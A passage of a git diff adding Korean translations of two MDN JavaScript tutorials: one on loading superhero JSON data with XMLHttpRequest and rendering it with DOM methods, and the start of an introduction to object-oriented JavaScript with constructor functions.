+ <li>자바스크립트에서 오브젝트 프로퍼티가 따옴표로 묶이지 않을 수도 있는 것과는 달리, JSON에서는 따옴표로 묶인 문자열만이 프로퍼티로 사용될 수 있습니다.</li>
+</ul>
+
+<h2 id="해보면서_배우기_JSON을_다뤄_보자">해보면서 배우기: JSON을 다뤄 보자</h2>
+
+<p>웹사이트에서 JSON 데이터를 어떻게 사용할 수 있는지 예제를 통해 살펴봅시다.</p>
+
+<h3 id="시작하기">시작하기</h3>
+
+<p>우선 로컬 저장소에 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes.html">heroes.html</a> 와 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/style.css">style.css</a> 파일을 복사해주세요. style.css 파일은 페이지에 적용할 간단한 CSS를 담고 있으며, heros.html 파일은 간단한 body HTML을 담고 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;header&gt;
+&lt;/header&gt;
+
+&lt;section&gt;
+&lt;/section&gt;</pre>
+
+<p>자바스크립트 코드를 담기 위한{{HTMLElement("script")}} 요소를 추가해 주세요. 현재는 두 줄의 코드만 작성되어 있습니다. {{HTMLElement("header")}} 와 {{HTMLElement("section")}} 요소를 참조하여 변수에 담는 코드입니다. :</p>
+
+<pre class="brush: js notranslate">var header = document.querySelector('header');
+var section = document.querySelector('section');</pre>
+
+<p>JSON 데이터를 다음 깃허브 링크에서 가져올수 있습니다. <a href="https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json">https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json</a>.</p>
+
+<p>페이지에 JSON 데이터를 로딩하고 DOM 조작을 통해 아래와 같이 만들어 봅시다. :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13857/json-superheroes.png" style="display: block; margin: 0 auto;"></p>
+
+<h3 id="JSON_가져오기">JSON 가져오기</h3>
+
+<p>JSON을 가져오기 위해서는, {{domxref("XMLHttpRequest")}} (때론 <strong>XHR</strong>)로 불리는 API를 사용하면 된다. 이것은 매우 유용한 JavaScript 오브젝트로 JavaScript (e.g. images, text, JSON, even HTML snippets)를 통해 우리가 서버로 부터 다양한 리소스를 가져오는 요청을 만들어 준다. 즉, 전체 페이지를 불러오지 않고도 필요한 부분만을 업데이트 할 수 있다. 이 기능은 좀 더 효과적으로 반응형 웹페이지을 다루는데 흥미로울 수 있으나, 아쉽게도 이 내용에 대한 자세한 부분은 여기서 다루지 않는다.</p>
+
+<ol>
+ <li>일단, 변수로 둘 JSON의 URL을 가져와야 합니다. 아래의 코드를 당신의 JavaScript 코드 내에 추가해 주세요.
+  <pre class="brush: js notranslate">var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json';</pre>
+ </li>
+ <li>요청을 만들기 위해, 우리는 <code>new</code> 키워드를 이용하여 <code>XMLHttpRequest</code> 생성자로부터 새로운 request 인스턴스를 생성해야 합니다. 아래의 코드를 추가해 주세요.
+  <pre class="brush: js notranslate">var request = new XMLHttpRequest();</pre>
+ </li>
+ <li>이제 <code><a href="/en-US/docs/Web/API/XMLHttpRequest/open">open()</a></code> 메소드를 사용해 새로운 요청을 만듭니다. 아래의 코드를 추가해 주세요.
+  <pre class="brush: js notranslate">request.open('GET', requestURL);</pre>
+
+  <p>이것은 최소 두 개의 매개변수를 가집니다. 다른 선택적 매개변수도 가능해요. 이건 단순 예제니깐 두 가지 필수 매개변수만 취할게요.</p>
+
+  <ul>
+   <li>HTTP 메서드는 네트워크 요청을 만들 때 사용됩니다. 이 경우 <code><a href="/en-US/docs/Web/HTTP/Methods/GET">GET</a></code> 을 사용하는게 좋겠어요. 우린 그저 데이터를 가져오면 되니깐요.</li>
+   <li>URL은 요청을 보낼 곳을 지정합니다. 우리가 저장해 둔 JSON 파일의 URL로 지정할게요.</li>
+  </ul>
+ </li>
+ <li>다음으로, 아래의 두 줄을 추가해 주세요. <code><a href="/en-US/docs/Web/API/XMLHttpRequest/responseType">responseType</a></code> 을 JSON으로 설정했어요. XHR로 하여금 서버가 JSON 데이터를 반환할 것이며, 자바스크립트 객체로서 변환될 것이라는 걸 알게 하기 위해서죠. 이제  <code><a href="/en-US/docs/Web/API/XMLHttpRequest/send">send()</a></code> 메서드를 이용해 요청을 보냅시다.
+  <pre class="brush: js notranslate">request.responseType = 'json';
+request.send();</pre>
+ </li>
+ <li>마지막 부분은 서버의 응답을 기다리고, 그것의 처리까지와 관련된 섹션입니다. 코드 아래에 다음의 코드를 추가해 주세요.
+  <pre class="brush: js notranslate">request.onload = function() {
+  var superHeroes = request.response;
+  populateHeader(superHeroes);
+  showHeroes(superHeroes);
+}</pre>
+ </li>
+</ol>
+
+<p>우리는 요청에 대한 응답을 <code>superHeroes</code>라는 변수에 저장할 겁니다.(<code><a href="/en-US/docs/Web/API/XMLHttpRequest/response">response</a></code> 프로퍼티로 가능) 이 변수는 이제 JSON 데이터에 기반한 자바스크립트 객체를 포함하게 됩니다! 두 개의 함수를 호출해 이 객체를 전달합시다. 하나는 &lt;<code>header&gt;</code> 를 적절한 데이터로 채울 것이고, 다른 하나는 팀의 각 히어로에 대한 정보 카드를 생성하여 <code>&lt;section&gt;</code>내에 집어넣을 겁니다.</p>
+
+<p>우리는 로드 이벤트가 request 객체에 발생할 때에 작동하는 이벤트 핸들러 내에 코드를 넣었습니다. (<code><a href="/en-US/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code> 참고) 왜냐하면 응답이 성공적으로 돌아왔을 때만 로드 이벤트가 작동하기 때문입니다. 이러한 방식은 우리가 무언가를 시도하려고 할 때 <code>request.response</code> 가 확실히 가능하다는 것을 보장해 줍니다.</p>
+
+<h3 id="헤더_조작하기">헤더 조작하기</h3>
+
+<p>우린 JSON 데이터를 가져왔고, 그것을 자바스크립트 객체로 변환했어요. 이제 우리가 위에서 언급한 두 개의 함수를 사용함으로써 이것을 활용해 봅시다. 우선, 이전 코드 아래에 다음 함수 정의를 추가해 주세요.</p>
+
+<pre class="brush: js notranslate">function populateHeader(jsonObj) {
+  var myH1 = document.createElement('h1');
+  myH1.textContent = jsonObj['squadName'];
+  header.appendChild(myH1);
+
+  var myPara = document.createElement('p');
+  myPara.textContent = 'Hometown: ' + jsonObj['homeTown'] + ' // Formed: ' + jsonObj['formed'];
+  header.appendChild(myPara);
+}</pre>
+
+<p>우리는 이 매개변수를 <code>jsonObj</code>라고 이름 붙였습니다. 여러분으로 하여금 이 자바스크립트 객체가 JSON으로 부터 생겨났다는 걸 상기시켜 주기 위해서죠. 첫번째로 <code><a href="/en-US/docs/Web/API/Document/createElement">createElement()</a></code>로 {HTMLElement("h1")}} 요소를 생성하고, 이것의 <code><a href="/en-US/docs/Web/API/Node/textContent">textContent</a></code>를 객체의 <code>squadName</code> 프로퍼티와 같도록 만들어 준 뒤, <code><a href="/en-US/docs/Web/API/Node/appendChild">appendChild()</a></code>를 사용해서 헤더에 붙이도록 했습니다. We then do a very similar 이와 비슷한 과정을 paragraph에도 적용했죠. 생성하고,그것의 text content를 설정하고 헤더에 붙이도록요. 차이점이라면 그것의 텍스트가 객체의 <code>homeTown</code> 과 <code>formed</code> 프로퍼티를 포함한 문자열로 설정된 거예요.</p>
+
+<h3 id="히어로_정보_카드_만들기">히어로 정보 카드 만들기</h3>
+
+<p>자, 다음으로 슈퍼히어로 카드를 생성하고 보여줄 함수를 코드의 마지막에 추가해 주세요.</p>
+
+<pre class="brush: js notranslate">function showHeroes(jsonObj) {
+  var heroes = jsonObj['members'];
+
+  for (var i = 0; i &lt; heroes.length; i++) {
+    var myArticle = document.createElement('article');
+    var myH2 = document.createElement('h2');
+    var myPara1 = document.createElement('p');
+    var myPara2 = document.createElement('p');
+    var myPara3 = document.createElement('p');
+    var myList = document.createElement('ul');
+
+    myH2.textContent = heroes[i].name;
+    myPara1.textContent = 'Secret identity: ' + heroes[i].secretIdentity;
+    myPara2.textContent = 'Age: ' + heroes[i].age;
+    myPara3.textContent = 'Superpowers:';
+
+    var superPowers = heroes[i].powers;
+    for (var j = 0; j &lt; superPowers.length; j++) {
+      var listItem = document.createElement('li');
+      listItem.textContent = superPowers[j];
+      myList.appendChild(listItem);
+    }
+
+    myArticle.appendChild(myH2);
+    myArticle.appendChild(myPara1);
+    myArticle.appendChild(myPara2);
+    myArticle.appendChild(myPara3);
+    myArticle.appendChild(myList);
+
+    section.appendChild(myArticle);
+  }
+}</pre>
+
+<p>우선, 새로운 변수 내의 자바스크립트 객체에 <code>members</code> 프로퍼티를 저장해 주세요. 이 배열은 각 히어로에 대한 정보를 가진 여러 개의 객체를 포함합니다.</p>
+
+<p>다음으로, 우리는 <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#The_standard_for_loop">for loop</a>를 사용하여 배열 내의 각 객체에 반복 실행을 걸겁니다.</p>
+
+<ol>
+ <li>몇 개의 새로운 요소를 생성해 주세요: <code>&lt;article&gt;</code>, <code>&lt;h2&gt;</code>, 3개의 <code>&lt;p&gt;</code>, 그리고  <code>&lt;ul&gt;</code>.</li>
+ <li>&lt;h2&gt;가 히어로의 <code>name</code>을 가지도록 설정해 주세요.</li>
+ <li>목록 내의 정보를 소개하기 위해 세 개의 paragraph 안에 그들의  <code>secretIdentity</code>, <code>age</code>, 그리고 "Superpowers:" 라는 문장을 넣어 주세요.</li>
+ <li><code>superPowers</code> 라는 새로운 변수 안에 <code>powers</code>프로퍼티를 저장해 주세요. 이것은 현재 히어로의 초능력(superpower)을 열거한 배열을 포함합니다.</li>
+ <li>현재 히어로의 초능력을 반복 실행할 또다른 <code>for</code> 반복문을 사용합니다. 하나의 객체씩 <code>&lt;li&gt;</code> 를 생성하고, 그 안에 초능력을 집어 넣고, <code>appendChild()</code>를 사용하여 '<code>myList'</code> 라는 <code>&lt;ul&gt;</code> 안에  <code>listItem</code> 을 집어 넣습니다.</li>
+ <li>마지막으로 <code>&lt;article&gt;</code> (<code>myArticle</code>) 안에 <code>&lt;h2&gt;</code>, <code>&lt;p&gt;</code>, 그리고 <code>&lt;ul&gt;</code> 넣은 뒤, <code>&lt;section&gt;</code> 안에 <code>&lt;article&gt;</code>을 넣어 줍니다. 요소가 추가되어 지는 순서가 중요해요.왜냐하면 HTML 내에 보여질 거거든요.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: 만약 실습에 문제를 겪고 있다면, <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished.html">heroes-finished.html</a> 코드를 참조하세요. (<a href="http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished.html">running live</a> 또한 보세요.)</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: 만약 우리가 주로 사용하는 JavaScript 객체에 접근하기 위한 점/괄호 표기법을 따르는데 문제를 겪고 있다면, 다른 탭이나 당신의 선호하는 텍스트 에디터에 <a href="http://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json">superheroes.json</a> 파일을 여는 것이 도움이 될 것이다. 또한 당신은 점/괄호 표기법에 대한 다른 정보를 위해 <a href="/en-US/docs/Learn/JavaScript/Objects/Basics">JavaScript object basics</a> 글을 다시 확인하는 것을 권합니다.</p>
+</div>
+
+<h2 id="객체와_문자_사이의_변환">객체와 문자 사이의 변환</h2>
+
+<p>위의 예제는 자바스크립트 객체에 접근한다는 관점에서 단순한 편이었죠. 왜냐하면 자바스크립트 객체를 사용해 우리는 XHR 요청을 곧장 JSON 응답으로 변환했으니깐요.</p>
+
+<pre class="brush: js notranslate">request.responseType = 'json';</pre>
+
+<p>하지만 우리는 이따금 재수 없어요. 때때로 우리는 날것의 JSON 문자열을 받기도 하고, 그것을 우리 스스로가 객체로 변환시켜야 할 때도 생기거든요. 그리고 네트워크를 통해 자바스크립트 객체를 보내고 싶을 때도 우리는 전송 전에 그걸 JSON(문자열)로 변환시켜야 해요. 다행히도, 이 두가지 문제가 웹 개발에 있어서 매우 흔한 덕에 다음과 같은 두가지 방법을 포함한 JSON 내장 객체가 브라우저 내에서 이용 가능합니다. </p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse">parse()</a></code>: JSON 문자열을 매개변수로서 수용하고, 일치하는 자바스크립트 객체로서 변환합니다.</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify">stringify()</a></code>: 객체를 매개변수로서 수용하고, JSON 문자열 형태로 변환합니다. </li>
+</ul>
+
+<p> 당신은 예제인 <a href="http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished-json-parse.html">heroes-finished-json-parse.html</a>에서 첫번째 동작을 확인할 수 있습니다.(아래 코드 참고-<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished-json-parse.html">source code</a>) — JSON 텍스트를 반환하기 위한 추가한 XHR와 JavaScript 객체로 전환하기 위해 사용된 <code>parse()</code>제외하면 이 코드는 이전에 우리가 빌드한 것과 완전히 같은 코드입니다. 다음은중요한 코드의 일부입니다.:</p>
+
+<pre class="brush: js notranslate">request.open('GET', requestURL);
+request.responseType = 'text'; // now we're getting a string!
+request.send();
+
+request.onload = function() {
+  var superHeroesText = request.response; // get the string from the response
+  var superHeroes = JSON.parse(superHeroesText); // convert it to an object
+  populateHeader(superHeroes);
+  showHeroes(superHeroes);
+}</pre>
+
+<p>예상했겠지만, <code>stringify()</code> 는 반대의 방식으로 작용됩니다. 다음 나오는 코드 라인들을 당신의 브라우저 JavaScript 콘솔에 동작을 확인하면서 한 줄씩 입력해봅시다.:</p>
+
+<pre class="brush: js notranslate">var myJSON = { "name": "Chris", "age": "38" };
+myJSON
+var myString = JSON.stringify(myJSON);
+myString</pre>
+
+<p>이 페이지에서는 우리는 JavaScript 객체를 생성하고 있으며 이 객체가 무엇을 포함하고 있는지 확인하고 <code>stringify()</code> —반환된 값을 새로운 변수에 저장합니다—를 사용해서 JSON 문자열로 변환시켰습니다. 다시 한 번 더 확인해 봅시다.</p>
+
+<h2 id="실력을_시험해보자!">실력을 시험해보자!</h2>
+
+<p> 당신은 이 글의 끝에 도달했지만 가장 중요한 정보들을 기억하고 있습니까? 다음 단계를 가기 전 당신이 얼마나 이 정보를 습득하고 있는지 확인할 수 있는 테스트를 할 수 있습니다.  — <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Test_your_skills:_JSON">Test your skills: JSON</a></p>
+
+<h2 id="요약">요약</h2>
+
+<p> 이 글에서, 당신의 프로그램에서 JSON을 어떻게 생성하고 구성 요소를 파악할 수 있는지, 그리고 JSON 안에 묶여 있는 자료들에 어떻게 접근하는 방법을 포함한 JSON을 사용하기 위한 간단한 가이드를 제공했습니다. 다음 글에서는, 객체 지향적인 JavaScript에 대해 시작해 볼 것입니다.</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON object reference page</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest object reference page</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li>
+ <li><a href="http://json.org">Official JSON web site with link to ECMA standard</a></li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}</p>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics">Object basics</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">Object prototypes</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">Inheritance in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Working with JSON data</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Object building practice</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Adding features to our bouncing balls demo</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/objects/object-oriented_js/index.html b/files/ko/learn/javascript/objects/object-oriented_js/index.html
new file mode 100644
index 0000000000..df1bf59c17
--- /dev/null
+++ b/files/ko/learn/javascript/objects/object-oriented_js/index.html
@@ -0,0 +1,287 @@
+---
+title: Object-oriented JavaScript for beginners
+slug: Learn/JavaScript/Objects/Object-oriented_JS
+tags:
+  - Article
+  - Beginner
+  - CodingScripting
+  - JavaScript
+  - Learn
+  - 'l10n:priority'
+translation_of: Learn/JavaScript/Objects/Object-oriented_JS
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}</div>
+
+<p class="summary">자, 이제 기초 단계를 벗어나서,객체지향 JavaScript (OOJS) 을 보도록 하죠 — 이 문서에서 객체지향 (OOP) 이론에 대한 기초를 훑어본 후, 자바스크립트가 생성자와 함수를 통해 객체 클래스 개념을 따라했는지, 그리고 어떻게 객체를 만드는지 알아볼겁니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선수조건:</th>
+   <td>컴퓨터 기본지식, HTML과 CSS에 대한 기본적인 이해,자바스크립트에 어느 정도 익숙할 것 (see <a href="/ko/docs/Learn/JavaScript/First_steps">First steps</a> and <a href="/ko/docs/Learn/JavaScript/Building_blocks">Building blocks</a>).  OOJS 기초 지식 (see <a href="/ko/docs/Learn/JavaScript/Object-oriented/Introduction">Introduction to objects</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">학습목표:</th>
+   <td>객체지향에 대한 기본 지식을 습득 하고, 객체 지향이 자바스크립트에 어떻게 적용되었는지 ( "모든 것은 객체다") 와 어떻게 생성자와 객체 인스턴스를 만드는지에 대해 이해한다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="객체지향_프로그래밍_—_기초">객체지향 프로그래밍 — 기초</h2>
+
+<p>객체지향 프로그래밍(OOP)의 개요를 설명하는 것으로 시작하겠습니다. 지금 단계에서 OOP의 모든 것을 설명면 너무 복잡해서 혼란만을 가중시킬 것이기 때문에 최대한 간단히 설명하겠습니다. OOP의 기본 컨셉은 프로그램 내에서 표현하고자 하는 실 세계(real world)의 일들을 객체를 사용해서 모델링 하고, 객체를 사용하지 않으면 불가능 혹은 무지 어려웠을 일들을 쉽게 처리하는 방법을 제공한다는 것입니다.</p>
+
+<p>객체는 당신이 모델링하고자 하고자 하는 일이나 기능 혹은 필요한 행동들을 표현하는 프로그램 코드와 그와 연관된 데이터로 구성됩니다. 객체는 데이터(그리고, 함수 역시)를 감싸서 ,(공식적인 표현으로는 <strong>encapsulate</strong>) 객체 패키지(해당 객체를 참조하기 위한 이름. <strong>namespace </strong>라고도 불리죠)안에 보관합니다. 이는 계층 구조를 만드는데 용이하고 사용하기에도 쉽게 하기 위해서죠; 또한, 객체는 네트워크를 통해 쉽게 전송될 수 있도록 데이터를 저장하는 용도로도 많이 사용됩니다.</p>
+
+<h3 id="객체_템플릿_정의">객체 템플릿 정의</h3>
+
+<p>자, 학교의 선생님과 학생들의 정보를 보여주는 간단한 프로그램이 있다고 칩시다. 여기서는 OOP의 일반적인 개념만을 살펴볼 뿐이지, 특정 언어에 국한된 내용을 이야기하지는 않을겁니다.</p>
+
+<p>시작해보자면, <a href="/ko/docs/Learn/JavaScript/Objects/Basics">first objects article</a> 에서 배웠던 Person 객체로 돌아가봅시다. 거기서 "사람"에 대한 기초적인 데이터와 기능을 정의했었죠. "사람"을 구별할 수 있는 특징은 많습니다 (그들의 주소, 키,신발사이즈, DNA 프로필, 여권번호, 중요한 개인적 자실 등 ...) ,하지만 이 예제에서는 오직 이름, 나이, 성별 그리고 취미만을 다룰겁니다. 여기에 더불어 이 데이터를 기반으로 각 개인에 대한 간단한 소개말과 인사말을 표시할 수 있도록 할 겁니다 . 이런 과정을 <strong>추상화</strong> — 프로그래머의 의도에 맞추어 가장 중요한 것들만을 뽑아서 복잡한 것들을  보다 단순한 모델로 변환하는 작업 - 라고 합니다.<img alt="" src="https://mdn.mozillademos.org/files/13889/person-diagram.png" style="display: block; height: 219px; margin: 0px auto; width: 610px;"></p>
+
+<h3 id="실제_객체_생성">실제 객체 생성</h3>
+
+<p><strong>객체 인스턴스</strong>는 클래스를 통해서 만들 수 있습니다.— 객체는 클래스에 정의된 데이터와 함수를 갖습니다. Person클래스를 통해서, 실제 '사람' 객체를 생성할 수 있습니다.:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15163/MDN-Graphics-instantiation-2-fixed.png" style="display: block; height: 702px; margin: 0px auto; width: 695px;"></p>
+
+<p>클래스로부터 객체의 인스턴스가 생성될 때는 클래스의 <strong>생성자 함수</strong> 가 호출됩니다.클래스에서 객체 인스턴스가 생성되는 일련의 과정을 인스턴스화(<strong>instantiation</strong>)라고 합니다 — 객체의 인스턴스는 클래스를 통해 만들어집니다.</p>
+
+<h3 id="특별한_클래스">특별한 클래스</h3>
+
+<p>자, 이번에는 일반적인 사람이 아니라 — 일반적인 사람보다 세분화된 선생님과 학생들이 필요합니다.  OOP 에서는,특정 클래스를 기반으로 새로운 클래스를 만들 수 있습니다 — <strong>child 클래스</strong> 는 <strong>부모 클래스</strong>를<strong> </strong><strong>상속</strong> 받아서 만들어집니다. child 클래스는 상속을 통해 부모 클래스에 정의된 데이터와 함수를 고스란히 사용할 수 있습니다. 클래스마다 기능이 달라지는 부분이 있다면, 직접 해당 클래스에 원하는 기능을 정의할 수 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13881/MDN-Graphics-inherited-3.png" style="display: block; height: 743px; margin: 0px auto; width: 700px;"></p>
+
+<p>이것은 매우 유용합니다. 이름,성별,나이 등과 같이 선생님과 학생이 공유하는 많은 공통적인 특징들을 한번만 정의해도 되기 때문이죠. 또한 서로 다른 클래스에 같은 기능을 따로 정의할 수도 있습니다. 정의된 각각의 기능은 서로 다른 namespace에 존재하기 때문입니다. 예를 들어, 학생의 인사는 "안녕, 난 [이름]이야." 와 같은 형식이 될 것입니다. (ex) 안녕, 난 샘이야.) 반면 선생님은 "안녕하세요, 제 이름은 [성] [이름]이고 [과목명]을 담당하고 있습니다." 와 같이 좀 더 격식있는 형식을 사용할 것입니다. (ex) 안녕하세요, 제 이름은 데이브 그리피스이고 화학을 담당하고 있습니다.)</p>
+
+<div class="note">
+<p><strong>노트</strong>: 혹시 궁금해 하실까봐 말씀드리면, 여러 객체 타입에 같은 기능을 정의할 수 있는 능력을 멋진 용어로 <strong>"다형성(polymorphism)"</strong> 이라고 합니다.</p>
+</div>
+
+<p>이제 자식 클래스들로부터 객체 인스턴스를 만들 수 있습니다. 예를 들면 :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13885/MDN-Graphics-instantiation-teacher-3.png" style="display: block; height: 743px; margin: 0px auto; width: 700px;"></p>
+
+<p>다음 부분에선, 어떻게 객체지향 프로그래밍 이론이 자바스크립트에 실제로 적용될 수 있는지 살펴보겠습니다.</p>
+
+<h2 id="생성자와_객체_인스턴스">생성자와 객체 인스턴스</h2>
+
+<p>자바스크립트는 객체와 그 기능을 정의하기 위해 <strong>생성자 함수</strong>라고 불리는 특별한 함수를 사용합니다. 이는 보통 우리가 얼마나 많은 객체들을 생성해야 할지 모르기 때문에 유용합니다. 생성자는 효율적으로 필요한 만큼 객체를 생성하고, 데이터와 함수들을 설정하는 방법을 제공합니다.</p>
+
+<p>생성자로부터 새로운 객체 인스턴스가 생성되면, 객체의 핵심 기능 (프로토타입에 의해 정의됩니다. <a href="/ko/docs/Learn/JavaScript/Objects/Object_prototypes">Object prototypes</a> 글에서 자세히 다룰 것입니다.)이 <strong>프로토타입 체인</strong>에 의해 연결됩니다.</p>
+
+<p>자바스크립트에서 생성자를 이용해 클래스를 만들고, 클래스에서 객체 인스턴스를 만드는 방법을 알아봅시다. 가장 먼저, 첫 객체 글에서 보았던 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs.html">oojs.html</a> 파일을 로컬에 새로 복사하십시오.</p>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<ol>
+ <li>어떻게 일반적인 함수를 이용해 한 사람을 정의할 수 있는지부터 보겠습니다. 이 함수를 <code>script</code> 태그 안에 추가하세요:
+
+  <pre class="brush: js">function createNewPerson(name) {
+  var obj = {};
+  obj.name = name;
+  obj.greeting = function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  };
+  return obj;
+}</pre>
+ </li>
+ <li>이제 이 함수를 호출하여 새로운 사람을 만들 수 있습니다. 브라우저의 자바스크립트 콘솔을 열어 다음 코드를 입력해보세요:
+  <pre class="brush: js">var salva = createNewPerson('Salva');
+salva.name;
+salva.greeting();</pre>
+  이것은 잘 작동하지만, 썩 깔끔하진 않습니다. 객체를 만들기를 원하는데, 왜 굳이 빈 객체를 만들고 내용을 채워 리턴해야 할까요? 다행스럽게도 자바스크립트는 생성자 함수의 형태로 간단한 단축 명령을 제공합니다. 하나 만들어 보도록 하죠!</li>
+ <li>이전의 createNewPerson 함수를 다음의 코드로 교체하세요:
+  <pre class="brush: js">function Person(name) {
+  this.name = name;
+  this.greeting = function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  };
+}</pre>
+ </li>
+</ol>
+
+<p>생성자 함수는 클래스의 자바스크립트 버전입니다. 이 함수가 함수가 가질 것 같은 모든 특징을 가지고 있지만, 아무것도 리턴하지 않고 객체를 만들지도 않는다는 것을 깨달으셨나요? 생성자 함수는 단순히 프로퍼티와 메소드를 정의합니다. 또 이를 정의할 때 this 라는 키워드가 사용되고 있는 것을 보실 수 있습니다. 이것은 객체 인스턴스가 생성될 때마다, 객체의 <code>name</code> 프로퍼티가 생성자 함수 호출에서 전달된 name 값과 같아질 것이라고 말하고 있습니다. 그리고 <code>greeting()</code> 메소드 역시 생성자에서 전달된 name 값을 사용할 것입니다.</p>
+
+<div class="note">
+<p><strong>노트</strong>: 관습적으로, 생성자 함수명은 대문자로 시작하게 합니다. 이 규칙은 생성자 함수가 코드 안에서 잘 구별되도록 해줍니다.</p>
+</div>
+
+<p>그래서 어떻게 생성자 함수를 호출하여 객체들을 만들까요?</p>
+
+<ol>
+ <li>이전 코드 아래에 다음 코드들을 추가하세요:
+  <pre class="brush: js">var person1 = new Person('Bob');
+var person2 = new Person('Sarah');</pre>
+ </li>
+ <li>
+  <p>코드를 저장하고 브라우저를 새로고침합니다. 자바스크립트 콘솔에 다음 코드를 입력해보세요:</p>
+ </li>
+ <li>
+  <pre class="brush: js">person1.name
+person1.greeting()
+person2.name
+person2.greeting()</pre>
+ </li>
+</ol>
+
+<p>멋지군요! 이제 두 객체가 페이지에 생성된 것이 보입니다. 각각은 서로 다른 namespace에 저장되어있습니다. 객체의 프로퍼티와 메소드들을 사용하려면, <code>person1</code> 또는 <code>person2</code>로부터 호출하여야 합니다. 두 객체의 기능은 따로 패키징되어 서로 충돌하지 않을 것입니다. 그리고 두 Person 객체는 각각 고유의 <code>name</code> 프로퍼티와 <code>greeting()</code> 메소드를 사용할 수 있습니다. 이 둘이 생성될 때 부여받은 자신의 <code>name</code> 값을 사용한다는 것에 주목하십시오. 이것이 <code>this</code>를 사용하는 매우 중요한 이유 중 하나입니다. 객체들은 다른 값이 아니라, 그들이 가진 고유의 값을 사용합니다.</p>
+
+<p>생성자 호출을 다시 봅시다:</p>
+
+<pre class="brush: js">var person1 = new Person('Bob');
+var person2 = new Person('Sarah');</pre>
+
+<p>각각의 경우, <code>new</code> 키워드가 브라우저에게 우리가 새로운 객체 인스턴스를 만들고 싶어한다는 것을 알려줍니다. 괄호로 감싸진 매개변수들과 함께 생성자 이름을 호출하고, 결과는 변수에 담겨집니다. 일반적인 함수가 호출되는 방식과 매우 유사하죠. 각각의 인스턴스는 다음 정의에 따라 생성됩니다.</p>
+
+<pre class="brush: js">function Person(name) {
+  this.name = name;
+  this.greeting = function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  };
+}</pre>
+
+<p>새 객체가 생성된 이후, <code>person1</code>과 <code>person2</code> 변수는 다음 객체들을 가지게 됩니다.</p>
+
+<pre class="brush: js">{
+  name: 'Bob',
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  }
+}
+
+{
+  name: 'Sarah',
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  }
+}</pre>
+
+<p>우리가 생성자 함수를 호출할 때마다 매번 <code>greeting()</code> 함수를 다시 정의하는 것이 보입니다. 최선의 방법은 아니죠. 이를 피하기 위해, 우리는 prototype에 함수를 정의합니다. 이를 차후에 다시 살펴보겠습니다.</p>
+
+<h3 id="생성자_완성시키기">생성자 완성시키기</h3>
+
+<p>위에서 살펴본 예제는 시작에 불과합니다. 최종적인 <code>Person()</code> 생성자를 만들어봅시다.</p>
+
+<ol>
+ <li>여태 작성한 코드를 지우고 아래의 생성자로 대체하세요. 원리는 이전의 예제와 똑같으며, 약간 더 복잡할 뿐입니다:
+  <pre class="brush: js">function Person(first, last, age, gender, interests) {
+  this.name = {
+    'first': first,
+    'last' : last
+  };
+  this.age = age;
+  this.gender = gender;
+  this.interests = interests;
+  this.bio = function() {
+    alert(this.name.first + ' ' + this.name.last + ' is ' + this.age + ' years old. He likes ' + this.interests[0] + ' and ' + this.interests[1] + '.');
+  };
+  this.greeting = function() {
+    alert('Hi! I\'m ' + this.name.first + '.');
+  };
